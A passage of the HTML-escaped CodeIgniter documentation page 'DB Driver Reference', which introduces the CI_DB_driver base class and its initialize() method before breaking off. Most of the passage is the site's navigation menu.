c8zokt9uHlsPIhA4aRnnHJTLptIS6CNsY7iASpxUUMkReGpfbQW0vtN5pitvrsN28rwtBD0nc0+/Yft5XhaB6TuaXfsP28rwtA9J3NPv2H7eV4Wgek7mn37D9vK8LQPSdzT79h+3leFoHpO5pd+w/byvC0D0nc0u/Yft5XhaB6TuaXfsP28rwtA9J3NLv2H7eV4Wgek7ml37D9vK8LQPSdzS79h+3leFoHpO5p9+w/byvC0E9r7Reazy2HIYVPxkS/CUHVn26cosxyv2g7h89LYmZSXOenvLEQ1YaQ222RATcQCP8rSGqqA8S02W2pQ6FhMoAIlqCtsnwoCpdKClejI4i3Sgtb+GBxVuNBSFt1pV/RQefLjPyUDy4z8lA8uM/JQPLjPyUDy4z8lA8uM/JQPLjPyUDy4z8lA8uM/JQPLjPyUDy4z8lA8utJ/koJ7WCbBU/LQXOPAFq1koK8B0pag90CggtBBf6qB0UDooHRQOigdFA6KB0UDooHRQOigdFA6KB0UDooI0EaBQf//Z&quot; title=&quot;Toggle Table of Contents&quot; alt=&quot;Toggle Table of Contents&quot; /&gt;
  &lt;/a&gt;
&lt;/div&gt;

  &lt;div class=&quot;wy-grid-for-nav&quot;&gt;

    
    &lt;nav data-toggle=&quot;wy-nav-shift&quot; class=&quot;wy-nav-side&quot;&gt;
      &lt;div class=&quot;wy-side-nav-search&quot;&gt;
        
          &lt;a href=&quot;../index.html&quot; class=&quot;fa fa-home&quot;&gt; CodeIgniter&lt;/a&gt;
        
        
&lt;div role=&quot;search&quot;&gt;
  &lt;form id=&quot;rtd-search-form&quot; class=&quot;wy-form&quot; action=&quot;../search.html&quot; method=&quot;get&quot;&gt;
    &lt;input type=&quot;text&quot; name=&quot;q&quot; placeholder=&quot;Search docs&quot; /&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;check_keywords&quot; value=&quot;yes&quot; /&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;area&quot; value=&quot;default&quot; /&gt;
  &lt;/form&gt;
&lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;wy-menu wy-menu-vertical&quot; data-spy=&quot;affix&quot; role=&quot;navigation&quot; aria-label=&quot;main navigation&quot;&gt;
        
          
          
              &lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/welcome.html&quot;&gt;Welcome to CodeIgniter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../installation/index.html&quot;&gt;Installation Instructions&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../installation/downloads.html&quot;&gt;Downloading CodeIgniter&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../installation/index.html&quot;&gt;Installation Instructions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../installation/upgrading.html&quot;&gt;Upgrading From a Previous Version&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../installation/troubleshooting.html&quot;&gt;Troubleshooting&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../overview/index.html&quot;&gt;CodeIgniter Overview&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../overview/getting_started.html&quot;&gt;Getting Started&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../overview/at_a_glance.html&quot;&gt;CodeIgniter at a Glance&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../overview/features.html&quot;&gt;Supported Features&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../overview/appflow.html&quot;&gt;Application Flow Chart&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../overview/mvc.html&quot;&gt;Model-View-Controller&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../overview/goals.html&quot;&gt;Architectural Goals&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../tutorial/index.html&quot;&gt;Tutorial&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../tutorial/static_pages.html&quot;&gt;Static pages&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../tutorial/news_section.html&quot;&gt;News section&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../tutorial/create_news_items.html&quot;&gt;Create news items&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../tutorial/conclusion.html&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../contributing/index.html&quot;&gt;Contributing to CodeIgniter&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../documentation/index.html&quot;&gt;Writing CodeIgniter Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../DCO.html&quot;&gt;Developers Certificate of Origin 1.1&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/index.html&quot;&gt;General Topics&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/urls.html&quot;&gt;CodeIgniter URLs&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/controllers.html&quot;&gt;Controllers&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/reserved_names.html&quot;&gt;Reserved Names&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/views.html&quot;&gt;Views&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/models.html&quot;&gt;Models&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/helpers.html&quot;&gt;Helpers&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/libraries.html&quot;&gt;Using CodeIgniter Libraries&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/creating_libraries.html&quot;&gt;Creating Libraries&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/drivers.html&quot;&gt;Using CodeIgniter Drivers&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/creating_drivers.html&quot;&gt;Creating Drivers&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/core_classes.html&quot;&gt;Creating Core System Classes&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/ancillary_classes.html&quot;&gt;Creating Ancillary Classes&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/hooks.html&quot;&gt;Hooks - Extending the Framework Core&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/autoloader.html&quot;&gt;Auto-loading Resources&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/common_functions.html&quot;&gt;Common Functions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/compatibility_functions.html&quot;&gt;Compatibility Functions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/routing.html&quot;&gt;URI Routing&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/errors.html&quot;&gt;Error Handling&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/caching.html&quot;&gt;Caching&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/profiling.html&quot;&gt;Profiling Your Application&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/cli.html&quot;&gt;Running via the CLI&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/managing_apps.html&quot;&gt;Managing your Applications&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/environments.html&quot;&gt;Handling Multiple Environments&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/alternative_php.html&quot;&gt;Alternate PHP Syntax for View Files&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/security.html&quot;&gt;Security&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/styleguide.html&quot;&gt;PHP Style Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/index.html&quot;&gt;Libraries&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/benchmark.html&quot;&gt;Benchmarking Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/caching.html&quot;&gt;Caching Driver&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/calendar.html&quot;&gt;Calendaring Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/cart.html&quot;&gt;Shopping Cart Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/config.html&quot;&gt;Config Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/email.html&quot;&gt;Email Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/encrypt.html&quot;&gt;Encrypt Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/encryption.html&quot;&gt;Encryption Library&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/file_uploading.html&quot;&gt;File Uploading Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/form_validation.html&quot;&gt;Form Validation&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/ftp.html&quot;&gt;FTP Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/image_lib.html&quot;&gt;Image Manipulation Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/input.html&quot;&gt;Input Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/javascript.html&quot;&gt;Javascript Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/language.html&quot;&gt;Language Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/loader.html&quot;&gt;Loader Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/migration.html&quot;&gt;Migrations Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/output.html&quot;&gt;Output Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/pagination.html&quot;&gt;Pagination Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/parser.html&quot;&gt;Template Parser Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/security.html&quot;&gt;Security Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/sessions.html&quot;&gt;Session Library&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/table.html&quot;&gt;HTML Table Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/trackback.html&quot;&gt;Trackback Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/typography.html&quot;&gt;Typography Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/unit_testing.html&quot;&gt;Unit Testing Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/uri.html&quot;&gt;URI Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/user_agent.html&quot;&gt;User Agent Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/xmlrpc.html&quot;&gt;XML-RPC and XML-RPC Server Classes&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/zip.html&quot;&gt;Zip Encoding Class&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul class=&quot;current&quot;&gt;
&lt;li class=&quot;toctree-l1 current&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;index.html&quot;&gt;Database Reference&lt;/a&gt;&lt;ul class=&quot;current&quot;&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;examples.html&quot;&gt;Quick Start: Usage Examples&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;configuration.html&quot;&gt;Database Configuration&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;connecting.html&quot;&gt;Connecting to a Database&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;queries.html&quot;&gt;Running Queries&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;results.html&quot;&gt;Generating Query Results&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;helpers.html&quot;&gt;Query Helper Functions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;query_builder.html&quot;&gt;Query Builder Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;transactions.html&quot;&gt;Transactions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;metadata.html&quot;&gt;Getting MetaData&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;call_function.html&quot;&gt;Custom Function Calls&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;caching.html&quot;&gt;Query Caching&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;forge.html&quot;&gt;Database Manipulation with Database Forge&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;utilities.html&quot;&gt;Database Utilities Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2 current&quot;&gt;&lt;a class=&quot;current reference internal&quot; href=&quot;#&quot;&gt;Database Driver Reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/index.html&quot;&gt;Helpers&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/array_helper.html&quot;&gt;Array Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/captcha_helper.html&quot;&gt;CAPTCHA Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/cookie_helper.html&quot;&gt;Cookie Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/date_helper.html&quot;&gt;Date Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/directory_helper.html&quot;&gt;Directory Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/download_helper.html&quot;&gt;Download Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/email_helper.html&quot;&gt;Email Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/file_helper.html&quot;&gt;File Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/form_helper.html&quot;&gt;Form Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/html_helper.html&quot;&gt;HTML Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/inflector_helper.html&quot;&gt;Inflector Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/language_helper.html&quot;&gt;Language Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/number_helper.html&quot;&gt;Number Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/path_helper.html&quot;&gt;Path Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/security_helper.html&quot;&gt;Security Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/smiley_helper.html&quot;&gt;Smiley Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/string_helper.html&quot;&gt;String Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/text_helper.html&quot;&gt;Text Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/typography_helper.html&quot;&gt;Typography Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/url_helper.html&quot;&gt;URL Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/xml_helper.html&quot;&gt;XML Helper&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

          
        
      &lt;/div&gt;
      &amp;nbsp;
    &lt;/nav&gt;

    &lt;section data-toggle=&quot;wy-nav-shift&quot; class=&quot;wy-nav-content-wrap&quot;&gt;

      
      &lt;nav class=&quot;wy-nav-top&quot; role=&quot;navigation&quot; aria-label=&quot;top navigation&quot;&gt;
        &lt;i data-toggle=&quot;wy-nav-top&quot; class=&quot;fa fa-bars&quot;&gt;&lt;/i&gt;
        &lt;a href=&quot;../index.html&quot;&gt;CodeIgniter&lt;/a&gt;
      &lt;/nav&gt;


      
      &lt;div class=&quot;wy-nav-content&quot;&gt;
        &lt;div class=&quot;rst-content&quot;&gt;
          &lt;div role=&quot;navigation&quot; aria-label=&quot;breadcrumbs navigation&quot;&gt;
  &lt;ul class=&quot;wy-breadcrumbs&quot;&gt;
    &lt;li&gt;&lt;a href=&quot;../index.html&quot;&gt;Docs&lt;/a&gt; &amp;raquo;&lt;/li&gt;
      
        &lt;li&gt;&lt;a href=&quot;index.html&quot;&gt;Database Reference&lt;/a&gt; &amp;raquo;&lt;/li&gt;
      
    &lt;li&gt;DB Driver Reference&lt;/li&gt;
    &lt;li class=&quot;wy-breadcrumbs-aside&quot;&gt;
      
    &lt;/li&gt;
    &lt;div style=&quot;float:right;margin-left:5px;&quot; id=&quot;closeMe&quot;&gt;
      &lt;img title=&quot;Classic Layout&quot; alt=&quot;classic layout&quot; src=&quot;data:image/gif;base64,R0lGODlhFAAUAJEAAAAAADMzM////wAAACH5BAUUAAIALAAAAAAUABQAAAImlI+py+0PU5gRBRDM3DxbWoXis42X13USOLauUIqnlsaH/eY6UwAAOw==&quot; /&gt;
    &lt;/div&gt;
  &lt;/ul&gt;
  &lt;hr/&gt;
&lt;/div&gt;
          &lt;div role=&quot;main&quot; class=&quot;document&quot;&gt;
            
  &lt;div class=&quot;section&quot; id=&quot;db-driver-reference&quot;&gt;
&lt;h1&gt;DB Driver Reference&lt;a class=&quot;headerlink&quot; href=&quot;#db-driver-reference&quot; title=&quot;Permalink to this headline&quot;&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;This is the platform-independent base DB implementation class.
This class will not be called directly. Rather, the adapter
class for the specific database will extend and instantiate it.&lt;/p&gt;
&lt;p&gt;The how-to material for this has been split over several articles.
This article is intended to be a reference for them.&lt;/p&gt;
&lt;div class=&quot;admonition important&quot;&gt;
&lt;p class=&quot;first admonition-title&quot;&gt;Important&lt;/p&gt;
&lt;p class=&quot;last&quot;&gt;Not all methods are supported by all database drivers,
some of them may fail (and return FALSE) if the underlying
driver does not support them.&lt;/p&gt;
&lt;/div&gt;
&lt;dl class=&quot;class&quot;&gt;
&lt;dt id=&quot;CI_DB_driver&quot;&gt;
&lt;em class=&quot;property&quot;&gt;class &lt;/em&gt;&lt;code class=&quot;descname&quot;&gt;CI_DB_driver&lt;/code&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::initialize&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;initialize&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::initialize&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;TRUE on success, FALSE on failure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;bool&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Initialize database settings, establish a connection to
the database.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::db_connect&quot;&gt;
